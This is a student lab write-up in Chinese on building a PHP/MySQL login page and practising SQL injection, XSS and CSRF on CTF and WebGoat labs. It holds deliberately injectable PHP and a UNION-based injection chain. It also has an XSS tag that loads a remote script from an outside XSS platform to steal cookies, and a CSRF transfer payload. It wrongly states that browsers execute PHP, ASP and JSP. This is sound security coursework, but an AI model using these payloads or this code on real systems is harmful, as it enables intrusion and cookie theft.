Exp8 Web綜合
一、實踐目標
(1)Web前端HTML
能正常安裝、啟停Apache。理解HTML,理解表單,理解GET與POST方法,編寫一個含有表單的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基礎上,編寫JavaScript驗證用戶名、密碼的規則。在用戶點擊登陸按鈕后回顯“歡迎+輸入的用戶名”
嘗試注入攻擊:利用回顯用戶名注入HTML及JavaScript。
(3)Web后端:MySQL基礎:正常安裝、啟動MySQL,建庫、創建用戶、修改密碼、建表。
(4)Web后端:編寫PHP網頁,連接數據庫,進行用戶認證。
(5)最簡單的SQL注入,XSS攻擊測試。
(6)選做Webgoat或類似平台的SQL注入、XSS、CSRF攻擊各一例。
二、實踐內容
1、Web前端HTML
apache簡介
-
Apache HTTPD又可以簡稱為httpd或者Apache,是Internet使用最廣泛的web服務器之一,使用Apache提供的web服務器是由守護進程httpd,通過http協議進行文本傳輸,默認使用80端口的明文傳輸方式。
-
搭建apache的方法:
- 由於kali自帶apache2,所以使用
vim /etc/apache2/ports.conf修改Apache的端口文件,將端口改為http對應的80號端口(一般默認80端口) - 使用
netstat -tupln |grep 80查看80端口是否被占用。如果有,使用kill+進程號殺死該進程或使用kill -s 9 進程號強制殺死進程 - 使用
systemctl start apache2開啟Apache服務 - 使用
systemctl stop apache2關閉Apache服務
- 由於kali自帶apache2,所以使用
HTML簡介
- HTML是超文本標記語言(Hyper Text Markup Language),標准通用標記語言下的一個應用,HTML 不是一種編程語言,而是一種標記語言 (markup language)。“超文本”就是指頁面內可以包含圖片、鏈接,甚至音樂、程序等非文字元素。超文本標記語言(或超文本標簽語言)的結構包括“頭”部分和“主體”部分,其中“頭”部提供關於網頁的信息,“主體”部分提供網頁的具體內容。
GET與POST方法
- GET和POST是HTTP請求的兩種基本方法。對於GET方式的請求,瀏覽器會把http header和data一並發送出去,服務器響應200(返回數據),數據能夠在url中看到。對於POST,瀏覽器先發送header,服務器響應100 continue,瀏覽器再發送data,服務器響應200 ok(返回數據)。
- Get 方式傳輸的數據量非常小,一般限制在 2 KB 左右,但是執行效率卻比 Post 方法好;而 Post 方式傳遞的數據量相對較大,它是等待服務器來讀取數據,不過也有字節限制,這是為了避免對服務器用大量數據進行惡意攻擊。
編寫一個含有表單的HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*絕對定位*/
width: 300px;
height: 200px;
text-align: center;/*(讓div中的內容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陸界面</h1>
<form name="form1" method="post" action="index.php">
<table border = "0">
<tr>
<td>用戶名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    碼:</td>
<td><input type="password" name="userpwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
</div>
</body>
</html>
效果:

2、Web前端javascript
- 編寫JavaScript驗證用戶名、密碼的規則
<script type="text/javascript">
function checkForm(){ //定義javascript函數名
if (form1.username.value == null || form1.username.value==""){ //判斷表單用戶名值是否合法
alert("請輸入用戶名"); //彈窗警告
return false; //返回值false,阻止表單提交
}
if (form1.userpwd.value == null || form1.userpwd.value==""){ //判斷表單用戶名值是否合法
alert("請輸入密碼"); //彈窗警告
return false; //返回值false,阻止表單提交
}
return true;
}
</script>
html完整代碼:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*絕對定位*/
width: 300px;
height: 200px;
text-align: center;/*(讓div中的內容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陸界面</h1>
<form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
<table border = "0">
<tr>
<td>用戶名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    碼:</td>
<td><input type="password" name="userpwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
</div>
</body>
</html>
<script type="text/javascript">
function checkForm(){
if (form1.username.value == null || form1.username.value==""){
alert("請輸入用戶名");
return false;
}
if (form1.userpwd.value == null || form1.userpwd.value==""){
alert("請輸入密碼");
return false;
}
return true;
}
</script>
- 在用戶點擊登陸按鈕后回顯“歡迎+輸入的用戶名”
寫一個用於接收用戶登陸數據的index.php文件:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome!</title>
</head>
<body>
<h1 align="center">歡迎!<?php echo $_POST['username'];?></h1> //將接收到的username數據打印在頁面中
</body>
</html>
效果:

- 嘗試注入攻擊
方法:登陸時將用戶名改為<script>alert("hack!")</script>,使頁面彈窗。


3、Web后端MySQL基礎:正常安裝、啟動MySQL,建庫、創建用戶、修改密碼、建表
-
安裝mysql:新版kali自帶mysql,如果想要安裝在win10,可以參考:windows10上安裝mysql(詳細步驟)
-
啟動mysql:輸入
systemctl start mysql -
建庫
-
輸入
mysql指令,進入mysql數據庫中。 -
輸入建庫指令:(例如:
CREATE DATABASE CTF;)CREATE DATABASE [IF NOT EXISTS] <數據庫名> [[DEFAULT] CHARACTER SET <字符集名>] [[DEFAULT] COLLATE <校對規則名>]; -
輸入創建用戶指令:
CREATE USER 'student'@'localhost' IDENTIFIED BY '20181221';CREATE USER 'username'@'host' IDENTIFIED BY 'password'; username:你將創建的用戶名 host:指定該用戶在哪個主機上可以登陸,如果是本地用戶可用localhost,如果想讓該用戶可以從任意遠程主機登陸,可以使用通配符% password:該用戶的登陸密碼,密碼可以為空,如果為空則該用戶可以不需要密碼登陸服務器 -
修改密碼:
方法1: 用SET PASSWORD命令 首先登錄MySQL。 運行--->輸入 cmd 回車 登陸:mysql -u root -p1234 格式:mysql> set password for 用戶名@localhost = password('新密碼'); 例子:mysql> set password for root@localhost = password('123'); 退出:mysql> quit 方法2:用mysqladmin 運行--->輸入 cmd 回車 登陸:mysql -u root -p1234 格式:mysqladmin -u用戶名 -p舊密碼 password 新密碼 例子:mysqladmin -uroot -p123456 password 123 退出:mysql> quit 方法3:用UPDATE直接編輯user表 首先登錄MySQL。 運行--->輸入 cmd 回車 登陸:mysql -u root -p1234 mysql> use mysql; mysql> update user set password=password('123') where user='root' and host='localhost'; mysql> flush privileges; 退出:mysql> quit 方法4:在忘記root密碼的時候,可以這樣 以windows為例: 1. 關閉正在運行的MySQL服務。 2. 打開DOS窗口,轉到mysql\bin目錄。 3. 輸入mysqld --skip-grant-tables 回車。--skip-grant-tables 的意思是啟動MySQL服務的時候跳過權限表認證。 4. 再開一個DOS窗口(因為剛才那個DOS窗口已經不能動了),轉到mysql\bin目錄。 5. 輸入mysql回車,如果成功,將出現MySQL提示符 >。 6. 連接權限數據庫: use mysql; 。 6. 改密碼:update user set password=password("123") where user="root";(別忘了最后加分號) 。 7. 刷新權限(必須步驟):flush privileges; 。 8. 退出 quit。 9. 注銷系統,再進入,使用用戶名root和剛才設置的新密碼123登錄。- 建表:
CREATE TABLE 表名稱 ( 列名稱1 數據類型, 列名稱2 數據類型, 列名稱3 數據類型, .... ) 例如: CREATE TABLE IF NOT EXISTS `user`( `id` INT UNSIGNED AUTO_INCREMENT, `username` VARCHAR(100) NOT NULL, `passwd` VARCHAR(40) NOT NULL, `flag` VARCHAR(40) NOT NULL, PRIMARY KEY ( `id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8; -

4、Web后端:編寫PHP網頁,連接數據庫,進行用戶認證
- 編寫PHP網頁,連接數據庫
<?php
$con=mysqli_connect("127.0.0.1","student","20181221","CTF");
if (!$con)
{
die("Connection failed: " . mysqli_connect_error());
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*絕對定位*/
width: 300px;
height: 200px;
text-align: center;/*(讓div中的內容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陸界面</h1>
<form name="form1" method="post" action="easy_sql.php">
<table border = "0">
<tr>
<td>用戶名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    碼:</td>
<td><input type="password" name="passwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
<?php
$username=$_POST["username"];
$passwd=$_POST["passwd"];
if($username&&$passwd) {
$result = mysqli_query($con, "select * from user where username=$username and passwd=$passwd");
$row = mysqli_fetch_array($result);
if ($row) {
echo "welcome!".$row['username'];
} else {
echo $username."是hacker!!!";
}
}
?>
</div>
</body>
</html>

- 進行用戶認證,輸入不存在的用戶名和密碼。

- 輸入正確的用戶名和密碼進行登陸。

5、最簡單的SQL注入,XSS攻擊測試
SQL注入
在用戶名輸入1 or 1=1#,密碼隨便輸

結果:
XSS攻擊
在用戶名輸入<script>alert(1)</script>,密碼隨便輸

6、選做Webgoat或類似平台的SQL注入、XSS、CSRF攻擊各一例
這里推薦使用i春秋平台,和CTFHUB平台網址是:i春秋 CTFHUB
SQL注入

打開頁面提示了flag{在數據庫中},注入點在?id=

fuzz發現過濾了and、or、select、=、>、<等字符,但是可以用<>繞過

輸入1 o<>rder by 數字#判斷字段數,發現字段數為3。

輸入1 union sel<>ect 1,2,3#,發現回顯字段為2

輸入1 union sel<>ect 1,database(),3#查詢數據庫名

輸入1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#查詢數據庫中的表名

輸入1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#查詢info表中的字段名

輸入1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#,獲取flag數據

XSS


打開環境看到一個頁面,會將輸入的名字顯示到頁面中,我們輸入<script>alert(1)</script>成功彈窗。

經過測試,第二個輸入框輸入URL時,返回SUCCESS,猜測在后台進行訪問。

嘗試使用XSS Platform,在第一個框中輸入包含腳本的網址:<sCRiPt sRC=//xss.pt/Sqg3></sCrIpT>。通過第二個框,訪問包含了XSS腳本的本頁面URL:

在XSS平台上可以看到已經獲取到了cookie中的flag信息。

CSRF
這里我用服務器搭了一個WebGoat平台,有需要的同學可以登陸進行實驗(需要連接內網):WebGoat
- 首先,選擇Cross Site Request Forgery (CSRF),目標是向新聞組發送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在這里,URL應該指向“攻擊”servlet,其中包含課程的“屏幕”和“菜單”參數,以及具有任意數值的額外參數“transferFunds”(如5000)。我們可以通過查找“屏幕”來構建鏈接 “和”菜單“值在右側的參數插入。 當時通過身份認證的CSRF電子郵件的接收者將轉移資金。 當本課程的攻擊成功時,左側菜單中的課程名稱旁邊會顯示一個綠色的勾號。

- 構造payload
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

- 提交之后訪問20181221,可以看到出現了一個勾,說明已經完成了CSRF攻擊

三、實踐總結與體會
基礎問題回答
1.什么是表單
-
表單對於用戶而言是數據的錄入和提交的界面,對於網站而言獲取用戶信息的途徑,在網頁中主要負責數據采集功能。
-
表單的基本組成部分:
表單標簽:這里面包含了處理表單數據所用CGI程序的URL以及數據提交到服務器的方法。
表單域:包含了文本框、密碼框、隱藏域、多行文本框、復選框、單選框、下拉選擇框和文件上傳框等。
表單按鈕:包括提交按鈕、復位按鈕和一般按鈕;用於將數據傳送到服務器上的CGI腳本或者取消輸入,還可以用表單按鈕來控制其他定義了處理腳本的處理工作。
2.瀏覽器可以解析運行什么語言
瀏覽器可以解析運行HTML、JavaScript、PHP、ASP、JSP等語言。
3.WebServer支持哪些動態語言
支持php、asp.net、jsp、python等動態語言
4.防范注入攻擊的方法有哪些
1.采用預編譯語句集,避免使用解釋程序,防止被非法執行命令。
2.及時更新軟件和系統版本,防止被最新的漏洞攻擊。
3.避免出現一些詳細的錯誤消息,使用一種標准的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、規則等。
4.使用專業的漏洞掃描工具,如Acunetix的Web漏洞掃描程序等。
5.要在Web應用程序開發過程的所有階段實施代碼的安全檢查,在部署Web應用之前實施滲透測試。
實驗體會
本次實驗是關於WEB綜合應用的各種操作,在WEB的綜合應用方向,有很多需要學習的知識點,單是實驗中的這幾種漏洞都有許多不同的利用方法和姿勢,更別提其他更多的漏洞。WEB安全是很重要的一個方向,要想做好安全,需要學習更多的知識。
